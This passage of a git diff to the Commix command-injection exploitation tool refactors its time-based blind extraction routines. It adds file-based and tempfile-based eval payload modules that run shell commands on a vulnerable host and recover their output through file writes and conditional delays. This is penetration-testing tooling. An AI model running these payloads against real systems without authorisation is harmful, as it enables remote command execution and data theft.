_boundary_combinations(whitespaces, prefixes, suffixes, separators): bare_prefix = prefix bare_suffix = suffix @@ -1110,15 +1135,18 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. - elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total): + elif (i == failed_tries and no_result == True) or (i == total): + # Offered before giving up rather than instead of the last combinations: where + # there are fewer of those than '--failed-tries' allows, every one of them is + # still tried, and the temporary directory is what follows them failing. + # Truthy means the tempfile-based fallback already handled it - stop here. + if checks.use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response): + return True if i == total: if checks.finalize(exit_loops, no_result, i, total, injection_type, technique, shell): continue else: raise - # Truthy means the tempfile-based fallback already handled it - stop here. - if checks.use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response): - return True else: if checks.finalize(exit_loops, no_result, i, total, injection_type, technique, shell): continue diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 3bfae23293..fd6bcdded3 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -133,13 +133,18 @@ def _warm_up_baseline(announce=True): del settings.PROBE_RESPONSE_TIMES[:] # Each model is filled from its own kind of request: the probes below cannot stand in for plain # ones, and pooling them is what lifts the threshold above the delay it is meant to catch. - checks.warm_up_response_baseline(url, http_request_method) + # Left open, so that the dots below carry on under the same line rather than a second warning + # being written over the first and both of them claiming to be done. + announced = checks.warm_up_response_baseline(url, http_request_method, close=False) if len(settings.PROBE_RESPONSE_TIMES) < settings.MIN_PROBE_RESPONSES: # Silent where the caller has just said what it is taking the model again for: the dots # carry on under that line instead of repeating it. - if announce: + if announce and not announced: warn_msg = "Time-related response comparison requires a larger statistical model" warn_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." + # The open line says what is being tested, so it is closed rather than written over - and + # this one is left open in its turn, for the dots below to be counted off on it. + settings.close_progress_line() settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) def _probe(): @@ -154,17 +159,26 @@ def _probe(): if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") - while len(settings.PROBE_RESPONSE_TIMES) < settings.MIN_PROBE_RESPONSES: + # Bounded, and the workers' own failures are re-raised: nothing waits on their results + # otherwise, so a probe that raises every time leaves this asking the target forever. + probe_rounds = 0 + max_probe_rounds = settings.MIN_PROBE_RESPONSES * 2 + while len(settings.PROBE_RESPONSE_TIMES) < settings.MIN_PROBE_RESPONSES and probe_rounds < max_probe_rounds: + probe_rounds += 1 try: if fan_out > 1: with concurrent.futures.ThreadPoolExecutor(max_workers=fan_out) as executor: - concurrent.futures.wait([executor.submit(_probe) for _ in range(fan_out)]) + for future in [executor.submit(_probe) for _ in range(fan_out)]: + future.result() else: _probe() except KeyboardInterrupt: checks.handle_exploitation_interrupt(filename, url) if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(" (done)") + elif announced and settings.VERBOSITY_LEVEL == 0: + # Nothing more to sample, but the line the warm-up opened is still waiting to be closed. + settings.print_data_to_stdout(" (done)") def _check_lagging(): nonlocal length_suspect, lagging_detected @@ -269,13 +283,13 @@ def _measure_length(payload): exec_time = 0 errors_before = settings.VISIBLE_CONNECTION_ERRORS for attempt in range(5): - before = settings.TOTAL_OF_REQUESTS + before = stability.requests_sent() exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) if not stability.request_was_retried(before): break if settings.VISIBLE_CONNECTION_ERRORS != errors_before: length_suspect = True - decision = checks.time_related_shell(url_time_response, exec_time, timesec) + decision = checks.time_related_shell(exec_time, timesec) if not decision: checks.record_probe_response_time(exec_time) else: @@ -351,7 +365,7 @@ def _hold_answer_back(): exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, quick, vuln_parameter, http_request_method, url) except KeyboardInterrupt: checks.handle_exploitation_interrupt(filename, url) - if checks.time_related_shell(url_time_response, exec_time, timesec): + if checks.time_related_shell(exec_time, timesec): return exec_time return None @@ -423,10 +437,17 @@ def _length_delayed(candidate): payload = payloads.cmd_execution(separator, cmd, candidate, OUTPUT_TEXTFILE, timesec, http_request_method) return _measure_length(payload) - # Every step is answered twice, and a third time to break a tie: one wrong answer sends the - # search into the wrong half, which costs the whole search rather than the one probe. + """ + One wrong answer sends the search into the wrong half, so a step is worth confirming - but + only where a wrong answer is on the cards. Until the timing has actually been seen to wobble, + a second probe of a step costs another whole delay to be told what the first one said, and + the answer the search settles on is re-checked afterwards either way. Once jitter has been + seen, every step is answered twice, and a third time to break a tie. + """ def _length_delayed_confirmed(candidate): first = _length_delayed(candidate) + if not settings.JITTER_SEEN: + return first if first == _length_delayed(candidate): return first return _length_delayed(candidate) @@ -478,13 +499,17 @@ def _exact_length_confirmed(candidate): payload = payloads.cmd_execution(separator, cmd, candidate, OUTPUT_TEXTFILE, timesec, http_request_method, operator="-eq") return _measure_length(payload) - # Best-of-3 vote once jitter has been seen, for a stronger guarantee. + """ + Best-of-3 vote once jitter has been seen, for a stronger guarantee. A single pass is enough + while the timing is clean: it already asks in both directions, and a wobble would have to + fall the right way twice over to be mistaken for an answer. + """ def _validate_boundary(candidate): if settings.JITTER_SEEN: votes = [_boundary_holds(candidate) for _ in range(3)] same_mechanism_ok = votes.count(True) >= 2 else: - same_mechanism_ok = _boundary_holds(candidate) and _boundary_holds(candidate) + same_mechanism_ok = _boundary_holds(candidate) return same_mechanism_ok and _exact_length_confirmed(candidate) revalidations = 0 @@ -663,13 +688,13 @@ def _char_delayed(candidate, operator="-le"): exec_time = 0 errors_before = settings.VISIBLE_CONNECTION_ERRORS for attempt in range(5): - before = settings.TOTAL_OF_REQUESTS + before = stability.requests_sent() exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) if not stability.request_was_retried(before): break if settings.VISIBLE_CONNECTION_ERRORS != errors_before: conn_error_flag = True - decision = checks.time_related_shell(url_time_response, exec_time, local_timesec) + decision = checks.time_related_shell(exec_time, local_timesec) if not decision: checks.record_probe_response_time(exec_time) else: @@ -685,6 +710,14 @@ def _bisect_chars(force_full=False): while True: try: if _char_delayed(hi) and _char_delayed(hi): + """ + And ask something that cannot be true. A target answering late to everything agrees + to this shortcut for every position, and the equality check that follows agrees too, + being just as saturated - so the whole output resolves to the pool's last character. + A control that comes back delayed says the timing, not the byte, is doing the talking. + """ + if _char_delayed(hi + 1): + return None, True return hi, True break except KeyboardInterrupt: @@ -752,6 +785,36 @@ def _bisect_chars(force_full=False): ascii_char, from_full_range = _bisect_chars() + """ + A position that produced no delay anywhere is the case the escalation below exists for: the + delay may be too short for this target, or the threshold too high to notice it. Answered with + nothing and left out of that loop, it got no second chance at all, while a position that + answered wrongly got fifteen. + """ + if ascii_char is None and settings.ADJUST_TIME_DELAY_CHOICE != False: + undelayed_retries = 0 + before_escalation = timesec + while ascii_char is None and undelayed_retries < settings.MAX_LENGTH_REVALIDATIONS: + undelayed_retries += 1 + settings.JITTER_SEEN = True + settings.ADJUST_TIME_DELAY_DISABLED = True + with timesec_lock: + timesec = settings.CALIBRATED_TIMESEC = _escalated_delay(timesec) + new_timesec = timesec + warn_msg = "No delayed answer for this character. Increasing time delay to " + warn_msg += str(new_timesec) + " second" + ("s" if new_timesec > 1 else "") + "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + try: + ascii_char, from_full_range = _bisect_chars(force_full=True) + except KeyboardInterrupt: + if threaded: + raise + checks.handle_exploitation_interrupt(filename, url) + if ascii_char is None: + conn_error_flag = True + with timesec_lock: + timesec = settings.CALIBRATED_TIMESEC = before_escalation + if ascii_char is not None: # Re-probe with equality before accepting - one request when clean, # best-of-3 once jitter is seen. @@ -762,7 +825,15 @@ def _validate_char_boundary(candidate): return _char_delayed(candidate, operator="-eq") revalidations = 0 - original_timesec = timesec + """ + The delay is shared by every worker, so what one of them raised another must not quietly put + back: this remembers what this worker escalated to, and it only restores when that is still + the value in force. Restoring regardless undid another worker's escalation mid-search, and + with several workers the raise never stuck at all. + """ + with timesec_lock: + original_timesec = timesec + my_escalation = None while True: try: validated = _validate_char_boundary(ascii_char) @@ -787,14 +858,15 @@ def _validate_char_boundary(candidate): if revalidations >= max_revalidations: conn_error_flag = True with timesec_lock: - timesec = settings.CALIBRATED_TIMESEC = original_timesec + if my_escalation is None or timesec == my_escalation: + timesec = settings.CALIBRATED_TIMESEC = original_timesec break revalidations += 1 settings.print_data_to_stdout(settings.print_error_msg("Invalid character detected. Retrying.")) if settings.ADJUST_TIME_DELAY_CHOICE != False: with timesec_lock: timesec = settings.CALIBRATED_TIMESEC = _escalated_delay(timesec) - new_timesec = timesec + new_timesec = my_escalation = timesec warn_msg = "Increasing time delay to " + str(new_timesec) + " second" + ("s" if new_timesec > 1 else "") + "." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) ascii_char, from_full_range = _bisect_chars(force_full=True) @@ -822,7 +894,7 @@ def _extract_position(num_of_chars): def _delayed(candidate, operator, local_timesec): payload = payloads.get_char_alter_interpreter(separator, target, num_of_chars, candidate, local_timesec, http_request_method, operator=operator) exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) - return checks.time_related_shell(url_time_response, exec_time, local_timesec) + return checks.time_related_shell(exec_time, local_timesec) def _bisect(local_timesec): lo, hi = min(char_pool) - 1, max(char_pool) @@ -982,7 +1054,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: from src.core.injections.results_based.techniques.eval import eb_payloads as payloads else: - from src.core.injections.semiblind.techniques.file_based import fb_payloads as payloads + payloads = checks.file_based_payloads() if interpreter: if technique != settings.INJECTION_TECHNIQUE.FILE_BASED and technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: @@ -1012,8 +1084,11 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: tries = 0 + # A request that keeps failing outright is not the file-based technique's boundary budget, so + # it does not wait on '--failed-tries' being settled to know how many times to try again. + max_tries = int(menu.options.failed_tries or settings.MAX_RETRIES) / 2 while not response: - if tries < (menu.options.failed_tries / 2): + if tries < max_tries: response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) tries = tries + 1 else: @@ -1068,12 +1143,12 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese break if not silent and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") - before = settings.TOTAL_OF_REQUESTS + before = stability.requests_sent() exec_time, vuln_parameter, _, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) if stability.request_was_retried(before): verified = False break - delayed = checks.time_related_shell(url_time_response, exec_time, timesec) + delayed = checks.time_related_shell(exec_time, timesec) if not delayed: checks.record_probe_response_time(exec_time) if expect is not None and delayed != expect: @@ -1106,11 +1181,11 @@ def _retry_confirm(payload): nonlocal exec_time, vuln_parameter, prefix, suffix consecutive_hits = 0 for attempt in range(settings.FALSE_POSITIVE_RETRIES): - before = settings.TOTAL_OF_REQUESTS + before = stability.requests_sent() exec_time, vuln_parameter, _, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) if stability.request_was_retried(before): continue - if checks.time_related_shell(url_time_response, exec_time, timesec): + if checks.time_related_shell(exec_time, timesec): consecutive_hits += 1 # Let the backend's own cooldown pass before trusting the next timing read. time.sleep(timesec) diff --git a/src/core/injections/results_based/techniques/eval/eb_payloads.py b/src/core/injections/results_based/techniques/eval/eb_payloads.py index 5f837aeb6b..e337cc4a20 100755 --- a/src/core/injections/results_based/techniques/eval/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval/eb_payloads.py @@ -45,32 +45,11 @@ def decision(separator, TAG, randv1, randv2): payload = _print_statement(separator, commands, chain=checks.WINDOWS_CHAIN) else: - if settings.SKIP_CALC: - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" + - separator - ) - else: - payload = ("print(`echo " + TAG + - separator + "echo " + TAG + - separator + "echo " + TAG + "`)%3B" - ) - else: - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`echo $((" + str(randv1) + "%2B" + str(randv2) + "))`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" + - separator - ) - else: - payload = ("print(`echo " + TAG + - separator + "echo $((" + str(randv1) + "%2B" + str(randv2) + "))" + - separator + "echo " + TAG + - separator + "echo " + TAG + "`)%3B" - ) + commands = ["echo " + TAG] + if not settings.SKIP_CALC: + commands.append("echo $((" + str(randv1) + "%2B" + str(randv2) + "))") + commands = commands + ["echo " + TAG, "echo " + TAG] + payload = _print_statement(separator, commands) return payload @@ -88,32 +67,12 @@ def decision_alter_interpreter(separator, TAG, randv1, randv2): else: python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\"" - if settings.SKIP_CALC: - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" + - separator - ) - else: - payload = ("print(`echo " + TAG + - separator + "echo " + TAG + - separator + "echo " + TAG + "`)%3B" - ) - else: - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "` " + python_payload + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" + - separator - ) - else: - payload = ("print(`echo " + TAG + - separator +python_payload + - separator + "echo " + TAG + - separator + "echo " + TAG + "`)%3B" - ) + commands = ["echo " + TAG] + if not settings.SKIP_CALC: + # A leading space where nothing separates it from the marker before it. + commands.append((settings.SINGLE_WHITESPACE if separator == "" else "") + python_payload) + commands = commands + ["echo " + TAG, "echo " + TAG] + payload = _print_statement(separator, commands) return payload @@ -127,20 +86,9 @@ def cmd_execution(separator, TAG, cmd): payload = _print_statement(separator, commands, chain=checks.WINDOWS_CHAIN) else: settings.USER_APPLIED_CMD = cmd - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`echo " + TAG + "`." + - "`" + cmd + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" - ) - else: - payload = ("print(`echo '" + TAG + "'" + - separator + "echo '" + TAG + "'" + - separator + cmd + - separator + "echo '" + TAG + "'" + - separator + "echo '" + TAG + "'`)%3B" - ) + # Quoted where a separator chains it, so the marker cannot be read as part of the command. + marker = "echo " + (TAG if separator == "" else "'" + TAG + "'") + payload = _print_statement(separator, [marker, marker, cmd, marker, marker]) return payload @@ -157,21 +105,7 @@ def cmd_execution_alter_interpreter(separator, TAG, cmd): commands = ["echo " + TAG, "echo " + TAG, python_payload, "echo " + TAG, "echo " + TAG] payload = _print_statement(separator, commands, chain=checks.WINDOWS_CHAIN) else: - settings.USER_APPLIED_CMD = cmd - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`echo " + TAG + "`." + - "`" + cmd + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" - ) - else: - payload = ("print(`echo '" + TAG + "'" + - separator + "echo '" + TAG + "'" + - separator +cmd + - separator + "echo '" + TAG + "'" + - separator + "echo '" + TAG + "'`)%3B" - ) + return cmd_execution(separator, TAG, cmd) return payload # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/eval/__init__.py b/src/core/injections/semiblind/techniques/eval/__init__.py new file mode 100644 index 0000000000..de196a7f70 --- /dev/null +++ b/src/core/injections/semiblind/techniques/eval/__init__.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/eval/fb_payloads.py b/src/core/injections/semiblind/techniques/eval/fb_payloads.py new file mode 100644 index 0000000000..2ffbfc7ed5 --- /dev/null +++ b/src/core/injections/semiblind/techniques/eval/fb_payloads.py @@ -0,0 +1,82 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings + +""" +The "file-based" injection technique on Semiblind Code Injection. +The available "file-based" payloads. + +Nothing here spells out a language: the command comes from the grammar of whichever one is being +evaluated. The redirection is the shell's own, so one payload serves either operating system. +""" + +# The command, run from inside the string being evaluated. +def _run(cmd): + return settings.EVAL_GRAMMAR.run(cmd) + +# A statement terminator, where the boundary being tested can carry one. +def _end(separator): + return settings.EVAL_GRAMMAR.TERMINATOR if separator else "" + +# Where the output is written, as the shell doing the writing sees it. +def _output_path(OUTPUT_TEXTFILE): + return settings.WEB_ROOT + OUTPUT_TEXTFILE + +""" +The output file's path on a Windows target - the redirection is the shell's own either way. +""" +def windows_output_path(OUTPUT_TEXTFILE): + return _output_path(OUTPUT_TEXTFILE) + +""" +File-based decision payload (check if host is vulnerable). +""" +def decision(separator, TAG, OUTPUT_TEXTFILE): + return _run("echo " + TAG + settings.FILE_WRITE_OPERATOR + _output_path(OUTPUT_TEXTFILE)) + _end(separator) + +""" +Several markers at once, so a target answering the same way to every payload can be told apart. +""" +def decision_combined(separator, tags, OUTPUT_TEXTFILE): + written = "echo " + "".join(tags) + settings.FILE_WRITE_OPERATOR + _output_path(OUTPUT_TEXTFILE) + return _run(written) + _end(separator) + +""" +__Warning__: The alternative shells are still experimental. +""" +def decision_alter_interpreter(separator, TAG, OUTPUT_TEXTFILE): + return decision(separator, TAG, OUTPUT_TEXTFILE) + +""" +__Warning__: The alternative shells are still experimental. +""" +def decision_combined_alter_interpreter(separator, tags, OUTPUT_TEXTFILE): + return decision_combined(separator, tags, OUTPUT_TEXTFILE) + +""" +Execute shell commands on vulnerable host. +""" +def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): + settings.USER_APPLIED_CMD = cmd + return _run(cmd + settings.FILE_WRITE_OPERATOR + _output_path(OUTPUT_TEXTFILE)) + _end(separator) + +""" +__Warning__: The alternative shells are still experimental. +""" +def cmd_execution_alter_interpreter(separator, cmd, OUTPUT_TEXTFILE): + return cmd_execution(separator, cmd, OUTPUT_TEXTFILE) + +# eof diff --git a/src/core/injections/semiblind/techniques/eval/tfb_payloads.py b/src/core/injections/semiblind/techniques/eval/tfb_payloads.py new file mode 100644 index 0000000000..3e6cb05762 --- /dev/null +++ b/src/core/injections/semiblind/techniques/eval/tfb_payloads.py @@ -0,0 +1,125 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings + +""" +The "tempfile-based" injection technique on Semiblind Code Injection. +The available "tempfile-based" payloads. + +Nothing here spells out a language: the expressions come from the grammar of whichever one is being +evaluated. One payload also serves either operating system, the redirection being the shell's own. +""" + +# The command, run from inside the string being evaluated, its output going to the file. +def _write(cmd, OUTPUT_TEXTFILE): + return settings.EVAL_GRAMMAR.run(cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE) + +# The file's contents, as the language sees them. The language indexes the text itself, so nothing +# rewrites the file as ordinals first and no 'tr', 'od' or 'awk' is asked of the target. +def _contents(OUTPUT_TEXTFILE): + return settings.EVAL_GRAMMAR.trim(settings.EVAL_GRAMMAR.read_file(OUTPUT_TEXTFILE)) + +# A statement terminator, where the boundary being tested can carry one. +def _end(separator): + return settings.EVAL_GRAMMAR.TERMINATOR if separator else "" + +# Delay only while the condition holds: a boolean times the delay is the delay or nothing at all. +def _conditional_sleep(condition, timesec, separator): + # Whole seconds: the delay is counted in them, and a fractional one only reads as noise. + return settings.EVAL_GRAMMAR.delay(int(timesec), condition) + _end(separator) + +# Write the output to the file and measure what landed there. Joined by the language's concatenation +# operator, since what the boundary breaks into is an expression rather than a statement. +def _write_and_measure(cmd, j, OUTPUT_TEXTFILE, timesec, separator, operator): + condition = str(j) + operator + settings.EVAL_GRAMMAR.length(_contents(OUTPUT_TEXTFILE)) + return settings.EVAL_GRAMMAR.sequence(_write(cmd, OUTPUT_TEXTFILE), + _conditional_sleep(condition, timesec, separator)) + +# The shell's comparison operators, as the language being evaluated spells them. +COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "!="} + +""" +Tempfile-based decision payload (check if host is vulnerable). +""" +def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): + return _write_and_measure("echo " + TAG, j, OUTPUT_TEXTFILE, timesec, separator, "==") + +""" +__Warning__: The alternative shells are still experimental. +""" +def decision_alter_interpreter(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): + return decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + +""" +Delay while a condition of the caller's own holds. +""" +def condition_check(separator, condition, timesec, http_request_method): + # Stated in the shell's spelling, as every other technique states it, so it is rewritten first. + condition = condition.strip() + if condition.startswith("-s "): + # Read the way the contents are read anywhere else here, so no quote has to survive a boundary. + condition = settings.EVAL_GRAMMAR.length(_contents(condition[3:].strip())) + ">0" + else: + for shell_operator, operator in COMPARISON.items(): + condition = condition.replace(settings.SINGLE_WHITESPACE + shell_operator + settings.SINGLE_WHITESPACE, operator) + return _conditional_sleep(condition, timesec, separator) + +""" +Windows counterpart of condition_check() above - the language answers the same on either operating +system, so there is nothing separate to ask for. +""" +def windows_condition_check(separator, expr, expected, timesec): + return None + +""" +Execute shell commands on vulnerable host. +""" +def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method, operator="-le"): + settings.USER_APPLIED_CMD = cmd + return _write_and_measure(cmd, j, OUTPUT_TEXTFILE, timesec, separator, COMPARISON.get(operator, "<=")) + +""" +__Warning__: The alternative shells are still experimental. +""" +def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): + return cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method) + +""" +Get the execution output, of shell execution. +""" +def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): + # The guess stays left of the operator, as it does elsewhere: the search reads the answer as "the + # byte is at or above this", and an operand order of its own would send it into the wrong half. + ordinal = settings.EVAL_GRAMMAR.ordinal(_contents(OUTPUT_TEXTFILE), num_of_chars - 1) + return _conditional_sleep(str(ascii_char) + COMPARISON.get(operator, "<=") + ordinal, timesec, separator) + +""" +__Warning__: The alternative shells are still experimental. +""" +def get_char_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): + return get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method, operator) + +""" +Check for false positive result. + +What the file holds here is a small sum, and the caller looks for it among the values it could have +been - so the contents are read as a number rather than indexed for the ordinal of a byte. +""" +def fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): + condition = str(ascii_char) + "==" + settings.EVAL_GRAMMAR.to_number(_contents(OUTPUT_TEXTFILE)) + return _conditional_sleep(condition, timesec, separator) + +# eof diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index b6982c53a9..d7ba82fb8f 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -13,6 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ +from src.utils import menu from src.utils import settings from src.core.injections.controller import handler from src.core.injections.controller import checks @@ -38,9 +39,16 @@ def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time if not settings.TIME_RELATED_ATTACK : settings.TIME_RELATED_ATTACK = True - injection_type = settings.INJECTION_TYPE.SEMI_BLIND + # The temporary file proves execution either way - which sink filled it is what the type names. + if menu.options.eval_sink: + injection_type = settings.INJECTION_TYPE.SEMI_BLIND_CE + else: + injection_type = settings.INJECTION_TYPE.SEMI_BLIND technique = settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED settings.BASELINE_TARGET = (url, http_request_method) + # Taken before the technique says what it is testing, rather than in the middle of it: the model + # is what the first timing is read against, so filling it belongs with settling into '/tmp/'. + checks.warm_up_response_baseline(url, http_request_method) if tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: settings.TIME_RELATED_ATTACK = settings.TEMPFILE_BASED_STATE = False diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 0d79feeb72..c449e26d9f 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -90,8 +90,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): else: pass - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) + payload = checks.append_custom_marker(payload, separator) return payload @@ -144,8 +143,7 @@ def decision_alter_interpreter(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http else: pass - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) + payload = checks.append_custom_marker(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -181,8 +179,7 @@ def condition_check(separator, condition, timesec, http_request_method): else: return None - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) + payload = checks.append_custom_marker(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -274,8 +271,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth else: pass - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) + payload = checks.append_custom_marker(payload, separator) return payload @@ -328,8 +324,7 @@ def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, else: pass - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) + payload = checks.append_custom_marker(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -380,8 +375,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http else: pass - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) + payload = checks.append_custom_marker(payload, separator) return payload @@ -428,8 +422,7 @@ def get_char_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_c else: pass - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) + payload = checks.append_custom_marker(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -472,8 +465,7 @@ def fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_ else: pass - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) + payload = checks.append_custom_marker(payload, separator) return checks.sanitize_payload_newlines(payload) diff --git a/src/core/main.py b/src/core/main.py index a8493c0895..a7e9496a84 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -516,7 +516,10 @@ def check_value_inside_boundaries(url, http_request_method): """ def main(filename, url, http_request_method): try: + # Both are per-target: what was enumerated on one target says nothing about the next, and file + # access is already taken back here. Left set, enumeration would run for the first target only. settings.FILE_ACCESS_DONE = False + settings.ENUMERATION_DONE = False if menu.options.alert: if menu.options.alert.startswith('-'): @@ -570,13 +573,7 @@ def main(filename, url, http_request_method): settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL = session_handler.applied_levels(url, http_request_method) # Define the level of tests to perform. - _level_suffix = {settings.DEFAULT_INJECTION_LEVEL: "LVL1", settings.COOKIE_INJECTION_LEVEL: "LVL2", settings.HTTP_HEADER_INJECTION_LEVEL: "LVL3"}.get(settings.INJECTION_LEVEL) - if _level_suffix: - for _name in ("SEPARATORS", "PREFIXES", "SUFFIXES", "EVAL_PREFIXES", "EVAL_SUFFIXES", "EVAL_SEPARATORS", "EXECUTION_FUNCTIONS"): - _source = getattr(settings, _name + "_" + _level_suffix) - setattr(settings, _name, sorted(set(_source), key=_source.index)) - - else: + if not settings.apply_injection_level(): err_msg = "The value for option '--level' " err_msg += "must be an integer value from range [1, 3]." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 25a8f4bafa..e9ce934cbc 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -232,7 +232,9 @@ def shellshock_handler(url, http_request_method, filename): continue found_this_header = False - cve = shellshock_cves[0] + # The one that answered, kept as the loop moves on: what follows has to be sent the same way + # the finding was made, and the loop variable holds whichever was tried last. + working_cve = None for cve in shellshock_cves: # Check injection state 